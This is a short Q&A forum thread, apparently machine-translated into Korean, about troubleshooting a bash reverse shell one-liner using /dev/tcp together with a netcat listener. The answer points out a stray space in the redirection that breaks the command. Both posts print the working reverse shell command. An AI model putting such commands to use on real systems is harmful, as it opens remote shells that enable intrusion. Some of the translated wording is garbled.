bash oneliner와 netcat 리스너를 사용하여 "역방향 쉘"을 만들려고 합니다. 이 조합은 며칠 전에는 잘 작동했지만 이제는 연결할 때만 오류가 발생합니다. 이 오류의 의미와 문제 해결 방법을 아는 사람이 있습니까?
네트워크 고양이 모니터
netcat -lvnp 1234
쿵쿵 스크립트:
bash -i >& /dev/tcp/10.10.10.2/1234 0>&1
실수(bash 스크립트를 실행할 때)
bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory
이것이 이 문제를 해결하기 위한 올바른 스택 교환인지 확실하지 않습니다. 자유롭게 이동하십시오.
답변1
귀하의 게시물에서 bash 스크립트는 다음과 같습니다.
bash -i >& /dev/tcp/10.10.10.2/1234 0>&1
내 생각엔 실제로 컴퓨터에서 다음과 같이 보이는 것 같습니다.
bash -i >& /dev/tcp/10.10.10.2/1234 0 >&1
0 뒤의 공백에 유의하십시오. 찾아서 제거하면 다시 작동합니다. 나는 그것이 어떻게 거기에 도달했는지 말할 수 없습니다.